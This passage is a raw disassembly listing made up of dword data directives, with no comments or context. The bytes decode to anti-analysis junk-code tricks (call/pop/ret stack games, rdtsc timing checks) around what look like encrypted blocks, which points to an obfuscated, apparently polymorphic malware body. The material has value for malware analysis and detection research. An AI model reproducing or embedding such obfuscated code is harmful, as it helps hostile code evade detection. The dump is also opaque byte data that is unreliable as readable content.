		dd 0DA8B6690h, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0BBF7C6C3h, 34A6B2EBh, 99BD898Ch
		dd 6A05E210h, 80605700h, 858969E8h, 5E21B51h, 9D335F61h
		dd 5E20965h, 2AF2858Dh,	0BE905E7h, 0F000000h, 95DF8F92h
		dd 0A0D26940h, 0C0833522h, 0A1858905h, 0E905E20Fh, 9, 0BE2E7E7Ch
		dd 0DCE1D5C7h, 870F5060h, 0Ch, 61605250h, 0BB66310Fh, 585A4AAEh
		dd 0B240489h, 0E20B599Dh, 6A006A05h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 7A2C352h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 657ADC3h,	0FF808A05h, 0FFDE8B66h,	0E21E2D95h
		dd 7E905h, 51980000h, 1C0C3661h, 0B7BF666Bh, 808D8DD7h
		dd 6A05E59Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 97A1C352h, 37C740D3h, 0D8B560CCh
		dd 2349BD8Bh, 8D8905E2h, 5E21E59h, 6AD1FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 9EAF57C3h
		dd 0D938D381h, 0BD8305A3h, 5E200B9h, 8A850F01h,	8B000000h
		dd 0E210F1BDh, 0E9026A05h, 11h,	0EAAD8F50h, 30203243h
		dd 2F61E8F4h, 46D7CF0Bh, 0D98B90ACh, 22D2BF50h,	6A904A0Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 1FEEC357h, 0C1142E74h, 8A0F52B8h,	2, 0D38151B3h
		dd 57449445h, 14E995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 7EE1A7C3h, 154FB7B9h
		dd 8B4B546Fh, 0E232699Dh, 0D06E905h, 0E80000h, 5D000000h
		dd 2AFCED81h, 6E805E7h,	28000000h, 3C99616Ah, 0CBD381FAh
		dd 5F53E941h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	0F7C35343h, 0E4FEB4h, 1E73E806h, 8E930h, 0C6F20000h
		dd 0CCCEDB80h, 858D43C9h, 5E58E9Eh, 0AE95090h, 54000000h
		dd 32C056F9h, 95894E0Fh, 6A90CAh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 1836D5C3h, 548A5133h
		dd 0FF6436E4h, 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 269065B1h, 4E82BB66h
		dd 258964h, 0E9000000h,	12h, 0F3BB9F64h, 0C14BCA51h, 0EC78FC85h
		dd 0A19DF547h, 85FF7EB3h, 5E22329h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 80C35646h, 0EB6B18FEh, 56BF66C2h
		dd 0E9FF6A9Ch
		dd 0Bh,	0D6D2CF60h, 2A5360BAh, 0FF8C9503h, 0E21D05B5h
		dd 0FF2FB705h, 0E2189D95h, 131E905h, 0EE90000h,	0FB000000h
		dd 822A10C2h, 0C7AC91C2h, 0D29FC563h, 0E800B046h, 0Eh
		dd 87B9AE32h, 398CF701h, 7E30CA14h, 9D29E17Ah, 5E219B9h
		dd 3170E65Bh, 0E2158985h, 0F871E405h, 303D9D8Bh, 613C05E2h
		dd 0E9830Fh, 0EE90000h,	26000000h, 0B5339C73h, 0A4B4529h
		dd 6FB5A1C7h, 0C8B60FF4h, 13E99509h, 6BA05E2h, 8B000000h
		dd 0FBBF0FC1h, 8904E8C1h, 0E21E79B5h, 0E2F76605h, 10E9h
		dd 7E37300h, 1CFA32ADh,	3519BAD9h, 0F65E2885h, 29C82BC9h
		dd 0E22B11B5h, 8BD18B05h, 91E9DFh, 0DB800000h, 4C858B70h
		dd 0E8505F4Ch, 8, 54424D3Ah, 0A4EFCE7Ch, 835FB1B7h, 0B58907C0h
		dd 5E200E5h, 0FD9D8960h, 0F805E200h, 0C08361h, 73D9589h
		dd 0D03B05E2h, 9830Fh, 8B660000h, 4DE9F8h, 8BF50000h, 0FFFFFF8Dh
		dd 199D8BFFh, 8305E22Ch, 840F01E1h, 37h, 12D9D8Bh, 9D8905E2h
		dd 5E204DDh, 0FFFFA583h, 89FEFFFFh, 5F4C4C95h, 14E950h
		dd 56E60000h, 0AD22A8A7h, 0CE30A9Fh, 0FFA3929Bh, 124B4D8Dh
		dd 0E9CF04h, 8D000000h,	0E6A537B5h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B601284h
		dd 0E20D858Dh, 8D858B05h, 6105E216h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0B56EAFC3h
		dd 0C5458B06h, 0BBC38181h, 8B6CBACEh, 0E226A99Dh, 0B995FF05h
		dd 6A05E20Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0B12FC353h, 8D9C552Bh,	7F78059Ch
		dd 0B618D89h, 63B905E2h, 6A000011h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0E5D2C353h
		dd 8910B764h, 0E21C9D8Dh, 0FCE18305h, 0FCDA8B66h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 52C35545h, 2CD99D8Bh
		dd 0B805E2h, 8B000000h,	0E2089DBDh, 6AD22B05h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 87F1C355h, 0C4E57209h, 7CBB66DDh, 21BD8B8Ch,	0AD05E20Dh
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 6ACBC350h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 489BC353h, 0D2EB733h, 88h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 0CAC35141h, 8BF40132h
		dd 0BE9958Bh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0F6BECFC3h, 33D37869h, 0BF0F5622h
		dd 618D8BFEh, 5005E207h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0A49A1749h, 0BB66F615h, 9D89B04Ch
		dd 5E23119h, 0D79BD83h,	0F0005E2h, 7284h, 0B807B700h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0C3C35343h
		dd 0E0BB1AD7h, 8B708410h, 0E21EAD9Dh, 8D8B6005h, 5E21B31h
		dd 2D1DB589h, 8D6105E2h, 0E24C428Dh, 0A19D8B05h, 0FF05E226h
		dd 57006AE1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 12D7EB1Eh, 55858938h, 8305E22Ch,	0E21B55BDh
		dd 840F0005h, 404h, 2D41BD89h, 0BD8305E2h, 5E21B55h, 0C840F01h
		dd 66000004h, 83C3A5BFh, 0E21B55BDh, 860F0305h,	3C5h, 0F589BF66h
		dd 51006A60h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 8288ACC4h, 31169C68h, 0E20035BDh, 0D88B6605h
		dd 6AD98C66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 427AC355h, 80F9500Bh, 0B70F04E1h
		dd 0FC90AF8h, 15484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0E4CC7BE9h, 29F8442Eh
		dd 0E2054595h, 1D858B05h, 6A05E224h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 6621C356h
		dd 3351A3BFh, 0E22AA985h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0CF81BEC3h
		dd 1004787Bh, 26BF6690h, 5250500Ch, 176949BBh, 50310F09h
		dd 0F525052h, 0F585A31h, 0DE931h, 30E00000h, 0CE96A634h
		dd 2812E7E1h, 5A536395h, 90585A58h, 0F38B6660h,	61CF8B66h
		dd 0E8F9006Ah, 4, 1F03FFh, 83FBBB66h, 0E8525050h, 14h
		dd 14460FBAh, 362F96F9h, 8DD03B2h, 2B001F9Ah, 0CC5DF68Ah
		dd 8A310F5Fh, 8B585ADEh, 8B042444h, 0F88B6600h,	4244489h
		dd 8D0F5660h, 0
aYGcsaxj	db 'Y¸(g—saXj',0
		dw 0E852h
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0B6C35242h, 2972D309h
		dd 0E21639B5h, 12E905h,	45E50000h, 0FDDA093Fh, 0E84259C6h
		dd 0A27C082Fh, 0D139C3C8h, 83995FFh, 0BD2905E2h, 5E21001h
		dd 0BB9D8589h, 84E905E5h, 0B7000001h, 95858B02h, 6A05E5BBh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 7086C357h, 0E9832585h, 0Fh, 0F0C809DDh, 171E7039h
		dd 9E5D6819h, 0C7E25488h, 1800h, 0D9BD8B00h, 8B05E20Fh
		dd 0E5BB99B5h, 0A6CB8105h, 8B6581E9h, 0E200F985h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0EEBEF7F3h, 1ECB3244h, 0A9BD89F9h, 8905E200h, 50505006h
		dd 8B5B5F5Bh, 0E2241D85h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 3671BBD5h
		dd 0F013751Ch, 0BD89F79Ah, 5E20759h, 9E9h, 6EEA8600h, 0FEF9EC0Ah
		dd 46896157h, 41950104h, 5005E21Ah, 1BB36052h, 800Fh, 5B610000h
		dd 8A243489h, 95B5FFFDh, 6805E5BBh, 1F423A9h, 2890Fh, 0FB8B0000h
		dd 56243481h, 0F501EB20h, 0BB9D858Dh, 6A05E5h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 7144C3C3h, 80A7FEC9h, 6614CF32h, 50583ABFh, 489F88Bh
		dd 9D9D8B24h, 0E805E219h, 14h, 2C8B1F0Bh, 55C49D56h, 9FC0193Fh
		dd 0E6318367h, 197D7190h, 5BFABF0Fh, 83995FFh, 6A05E2h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0A3B3D4C3h, 0B14738AEh, 619767F3h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0CDC35343h,	319AB237h, 0E34BB66h
		dd 1B5585C7h, 305E2h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0CF96D9C3h, 2BF9AA8h
		dd 0BB9DBD83h, 0F0005E5h, 3084h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0ADBD332Fh
		dd 0F05E210h, 21E9DEBFh, 89000000h, 0E2328DBDh,	0C305005h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0FAC78166h
		dd 18E0FEFh, 0F9000000h, 483E84BFh, 55BD8303h, 305E21Bh
		dd 39D850Fh, 0F98B0000h, 0BB9DBD83h, 0F0005E5h,	38E84h
		dd 2D8D0900h, 0FF05E230h, 0E5BB9DB5h, 15BD8B05h, 0FF05E231h
		dd 0E2172D95h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 5FB3FC3Bh, 0BB91B58Bh
		dd 72BF05E5h, 0C71C286Eh, 1000106h, 0CDBD8B00h,	9605E20Eh
		dd 6775BB66h, 0BE850h, 94C40000h, 0F7836DE1h, 0D50A814Eh
		dd 0EE960F6h, 0A3000000h, 0EA68C0ECh, 0CB3AF970h, 91F5B3A6h
		dd 965F617Dh, 0EE78166h, 9DB5FFE8h, 8905E5BBh, 0E21079BDh
		dd 0D195FF05h, 6A05E22Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 67EBC356h, 8BFD771Fh
		dd 0E5BB91B5h, 1830F05h, 0F8000000h, 0D860Fh, 29600000h
		dd 0E21B6D95h, 0F3816605h, 8B619FE5h, 0E210DD85h, 4D9D8B05h
		dd 8005E230h, 868979E3h, 0C4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 85C35545h, 3180D6B8h, 0E20AC18Dh
		dd 467CBB05h, 8BF508F8h, 0E20BE995h, 0ADB58905h, 8305E22Ah
		dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0E35760C3h, 0FDF8B66h, 1384h, 0EE900h, 0C0AF0000h
		dd 0C3EC74D5h, 0AC6A75FDh, 5A930976h, 5089DD8Ah, 50006A20h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 581C2B32h, 8F71D240h, 0D9BD09C4h, 8D05E22Ch,	0E5CE5B85h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 395C3247h, 0BB668744h, 86892AE0h, 0B8h
		dd 0AE8h, 58196700h, 0D897B097h, 8BBFD3A4h, 0E208419Dh
		dd 6A5B05h, 8859D8Bh, 0B5FF05E2h, 5E5BB9Dh, 6E8h, 0D541BA00h
		dd 66081EFBh, 5BE7AFBBh, 6E9h, 0C56CA800h, 0FFC11C42h
		dd 0E214E995h, 0A1BD0105h, 5005E209h, 269589BFh, 24348925h
		dd 0B719D03h, 8D0F05E2h, 3, 0FFDF8B66h,	0E5BB9DB5h, 3DBD8B05h
		dd 0FF05E232h, 0E22D2195h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0EEEFB854h
		dd 0AE781EABh, 75BB66C7h, 89BD838Dh, 5E200h, 38840Fh, 95890000h
		dd 5E218E9h, 8A0F6096h,	0
		dd 6FACB7B8h, 0B750610Dh, 6A9616h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 98859C3h, 0B5FF40CDh
		dd 5E5BB9Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	31C35040h, 0FF775B26h, 0E2041595h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0BD8BAB29h, 5E21D7Dh, 0BB9DB5FFh, 6A05E5h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BF6660C3h
		dd 95FFC51Fh, 5E20A59h,	8F0FFD8Ah, 6, 1EED9D8Bh, 0BD8305E2h
		dd 5E224CDh, 4C840F02h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B052C357h
		dd 858B8F98h, 5E21F35h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 65C35040h, 0C60C5Bh, 8D8D8900h, 0C705E20Dh
		dd 0E20CF985h, 5, 719D0100h, 0E905E201h, 0FFFFF425h, 3F22CF81h
		dd 0C18B2D4Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	17C35646h, 0BB13793Ah, 3A85AD3Fh, 0E91858Dh, 896005E2h
		dd 0E20BA995h, 50506105h, 0BE860h, 997F0000h, 0C36ED572h
		dd 0C11ED247h, 21B75BE2h, 4895F61h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0D0BFF893h
		dd 6AF5BEDBh, 0F006A00h, 686h, 9DBD8B00h, 8D05E20Bh, 0E73A0485h
		dd 61F86005h, 11E8h, 3BA3AE00h,	6BF42106h, 0E0DC61B7h
		dd 9B438974h, 8950CD1Bh, 0E231A985h, 835B5F05h,	6A05C0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 574631C3h, 0EE8h, 29B6C700h,	85C82480h, 92F5BA0Dh, 0F3D2A4Dh
		dd 5F5BD9B7h, 8FBF6650h, 2404893Fh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 3EC35343h, 3870Fh, 0BF0F0000h
		dd 0A19D8BD8h, 6A05E22Ch, 1DBB6600h, 6A006A95h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 21EFC351h, 0E5A08B83h, 1E2D95FFh, 0B5005E2h,	0E20D69BDh
		dd 8D8D5F05h, 5E59D80h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 45C35040h, 0D98BF968h, 6AD1FFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0A22D29C3h, 0B9BD834Fh, 105E200h, 8D850Fh, 0B70F0000h
		dd 6A026AFEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 55FAC352h, 11E95250h, 0DB000000h
		dd 72AF3B2Ah, 0F0885A1Bh, 1C9E8979h, 7D3CAA5Dh,	2404895Bh
		dd 13E8h, 3CEF5600h, 861D3B70h,	0FDC04751h, 4D46A6A4h
		dd 0C6AD516h, 541BD23h,	0FF5B05E2h, 0E214E995h,	51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 7D7AE2C9h, 0EF80AE14h, 0D19D23DEh, 0E905E224h, 0E37h
		dd 0E8h, 0ED815D00h, 5E73A0Eh, 0FE9h, 0D43DBD00h, 0F917793h
		dd 294055B7h, 9821B3Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0D8C35646h, 2870F0Ch,	8A000000h, 0F38166FDh
		dd 858DE001h, 5E58E9Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 96C35747h, 96DA68D0h,	9E8738Ah, 67000000h
		dd 0BA6760CEh, 1D5FA5E7h, 4880Fh, 0BB660000h, 905FCA6Ah
		dd 0A0FCA6BFh, 5652500Ah, 5B5B6160h, 0FE990h, 0A070000h
		dd 0F354577Bh, 95187898h, 7F960953h, 13E86009h,	2A000000h
		dd 3478F440h, 0AA4322EEh, 0C1F4A722h, 0EFCCD418h, 81664852h
		dd 59960FF0h, 4E58531h,	646105E2h, 35FFh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 4AA3EFC3h, 0CC9BF27h, 333DBB19h, 60F525BAh, 8BC38B66h
		dd 0E2245DBDh, 89646105h, 25h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 6F46289Dh
		dd 2985FF3Fh, 8B05E223h, 0E201299Dh, 66FF6A05h,	0FFAF9BBFh
		dd 0E22ACDB5h, 0AE805h,	0E1E30000h, 53BEA2E2h, 2A180768h
		dd 95FF5BF5h, 5E2189Dh,	123E9h,	41BD8B00h, 0B005E221h
		dd 0AE900h, 0F1DA0000h,	9313DEF1h, 8CCBD884h, 0BD8970E6h
		dd 5E213B5h, 12E9h, 5558F700h, 32C604EBh, 35C98645h, 3E859BB5h
		dd 0E467AB1Dh, 0D98B6671h, 830F613Ch, 0E0h, 2BCD9589h
		dd 0B60F05E2h, 0FAFCBBC8h, 6BA6390h, 8B000000h,	0E20645BDh
		dd 89C18B05h, 0E2093D85h, 4E8C105h, 0E2F766F8h,	84ADDFBBh
		dd 1C82B61h, 0E219A59Dh, 66D18B05h, 400CF81h, 9FE9h, 0D59D8900h
		dd 8B05E205h, 47554C85h, 9DB50149h, 8305E20Dh, 810F07C0h
		dd 6, 14719589h, 0C08305E2h, 0FD03B00h,	1E83h, 0EE900h
		dd 0A1870000h, 6A6CD7F5h, 65DE6B3Dh, 0A50910F7h, 5BE9h
		dd 0A5BD8900h, 8B05E21Bh, 0FFFFFF8Dh, 6E9FFh, 72B80000h
		dd 85CDEC3Eh, 2CB59D8Bh, 0E18305E2h, 35840F01h,	8B000000h
		dd 0E20FF9BDh, 0FFA58305h, 0FEFFFFFFh, 9870Fh, 8F0F0000h
		dd 3, 89D98B66h, 47554C95h, 8890F49h, 50000000h, 1821BD8Bh
		dd 0E95F05E2h, 0
		dd 0BC78B58Dh, 6A05E6h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 8BBC17C3h, 5290F1CBh, 6AD98B73h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 41E7E68Eh, 36ED7B78h, 95FF7F60h,	5E20AB9h
		dd 15858950h, 5B05E207h, 0F82B9h, 4DB58900h, 8305E21Ah
		dd 11E8FCE1h, 0F2000000h, 0EDD2A429h, 0BE252EE7h, 1001368Ch
		dd 0ACD05A53h, 0FF9FC5Fh, 0C02BD8B7h, 0CFD9D8Bh, 0D22B05E2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 50C35747h
		dd 43EAAD8Fh, 1C9DBD8Bh, 33AD05E2h, 3E8D1C2h, 4E983D0h
		dd 0BB66F475h, 6A68E4h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0AFB719C3h, 64BE4DFEh, 9D8B5E16h
		dd 5E22141h, 880Dh, 7E900h, 64290000h, 0DC8BEFFBh, 0E9958B72h
		dd 6A05E20Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0E147C350h, 87F6649Eh,	8BCDE1F4h
		dd 0E207618Dh, 3CB8005h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0F98B5818h, 3B6731BFh, 79BD8311h,	5E20Dh
		dd 61840Fh, 0BD2B0000h,	5E2111Dh, 0B8h,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 7DE47179h, 0FABF0F2Eh, 44D38166h, 428D8DDAh,	105E24Ch
		dd 0E20479BDh, 6AE1FF05h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 663BC355h, 832571BBh
		dd 0E21B55BDh, 840F0005h, 492h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0FEC35646h,	752260E3h, 13E939h
		dd 0A33B0000h, 20698E36h, 11A38CC1h, 487115B1h,	0EB8C09B9h
		dd 55BD839Dh, 105E21Bh,	467840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 8707ADC3h
		dd 0E51FE54Fh, 68C0FF9h, 8B000000h, 0E214959Dh,	819D8905h
		dd 8305E20Fh, 0E21B55BDh, 860F0305h, 3EFh, 6A60D98Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0ED21C352h, 92731CB4h, 0AC3C6BEBh, 0BE9h, 0E75F6F00h
		dd 3D706EF0h, 5D372EA9h, 6AD98C66h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E9B8C357h
		dd 0Ah,	0C2BE0325h, 0BC1D975h, 0E18000C9h, 0D858904h, 0A05E210h
		dd 57840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 46FEC355h, 127AC955h
		dd 8127C1DDh, 0D34E75C3h, 1D858B66h, 6A05E224h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0EBDEC350h, 912C5C17h, 0BD8BE856h, 5E21A79h,	2AA98533h
		dd 8D8905E2h, 5E23049h,	90261CBFh, 52509047h, 12E8h, 0A36D0100h
		dd 312039C0h, 95C1BB05h, 0D11834D2h, 60866C13h,	310F5B61h
		dd 5ADA8B66h, 0FC8A5058h, 99EF8090h, 1F0D9589h,	6A05E2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 7BC35747h
		dd 0CFDEF5DEh, 7ACE21E0h, 31D98BD1h, 0E22D898Dh, 0F86E6805h
		dd 0BF667B87h, 348179CDh, 98FB9124h, 57006A7Bh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 61A569CDh
		dd 0F3F26EC2h, 0CCC781FEh, 2B32A8F7h, 0E20BE59Dh, 3995FF05h
		dd 0F05E208h, 686h, 9BD8B00h, 8905E22Bh, 0E5BB9D85h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 64A48B17h, 0C06F4194h, 0E1DF8195h, 0E913AF25h, 1BAh
		dd 5A1BD8Bh, 858B05E2h,	5E5BB95h, 28E0Fh, 0FE8B0000h, 1800C7h
		dd 0BB560000h, 6689863Eh, 0F8BF0F5Bh, 0BB99B58Bh, 6A05E5h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 6D6E97C3h, 0E65555BAh, 0D8E0Fh, 5E80000h, 55000000h
		dd 0A8A69ED3h, 8B5B6160h, 0E200F985h, 299D8B05h, 8905E214h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 858BF582h, 5E2241Dh, 44689F9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E8C35545h, 6588056Ch
		dd 0BF6650F1h, 348927C9h, 0FB8B6624h, 0C158D89h, 0B5FF05E2h
		dd 5E5BB95h, 40E38166h,	4E829h,	3FF0000h, 0E860001Fh, 14h
		dd 7C2291E0h, 0E91CEA9Ch, 0EAD2BBE0h, 4F9137F2h, 27839D4Fh
		dd 5FFE8B66h, 9E8h, 70F6A700h, 64287B95h, 615E45C8h, 8BDD8A50h
		dd 66042444h, 8BD98Bh, 0C489D3BFh, 2444897Bh, 644BF04h
		dd 6A583784h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 24D8C357h, 77552CE0h, 0BF2DF4B3h
		dd 907AA6BBh, 9D858D0Ah, 6A05E5BBh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 3DBAC352h
		dd 0F024283Bh, 56507405h, 895B82B7h, 0B5892404h, 5E20979h
		dd 83995FFh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0AEAB1EC3h, 4B076150h, 0BD8BD4CCh
		dd 5E23335h, 3A50DB81h,	6A616E16h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A881C351h
		dd 8473AE0Ch, 0F1D38038h, 1B5585C7h, 305E2h, 9D890000h
		dd 5E223FDh, 0BB9DBD83h, 0F0005E5h, 2A84h, 0F98B6600h
		dd 3DE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0A99D8B52h, 5005E229h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 787083C3h
		dd 6AFB8Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 9FED1AC3h, 43209B4Ah, 3DBD2920h, 5305E200h
		dd 13E8h, 54776000h, 0E45DDE53h, 83CA1999h, 271DE2AAh
		dd 1354B788h, 8D0Fh, 5B5F0000h,	1B55BD83h, 0F0305E2h, 46F85h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 61BD8BBBh, 8305E217h, 0E5BB9DBDh, 840F0005h
		dd 440h, 0FFDABF0Fh, 0E5BB9DB5h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0BEB7524Ch
		dd 4E12DAEh, 840F98D4h,	6, 15E5BD03h, 95FF05E2h, 5E2172Dh
		dd 6870Fh, 0B5290000h, 5E2161Dh, 0BB91B58Bh, 6A05E5h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0BD00FC3h, 0B68E4D4Eh, 841B589h, 6C705E2h, 10001h, 418D8B60h
		dd 8B05E20Ah, 0E215499Dh, 52506105h, 2840Fh, 99B70000h
		dd 2434895Fh, 0BCC4BB66h, 0BB9DB5FFh, 0CF8005E5h, 0BF66509Dh
		dd 0FF5BB3C9h, 0E22BD195h, 399D8B05h, 8905E211h, 0E20915BDh
		dd 91B58B05h
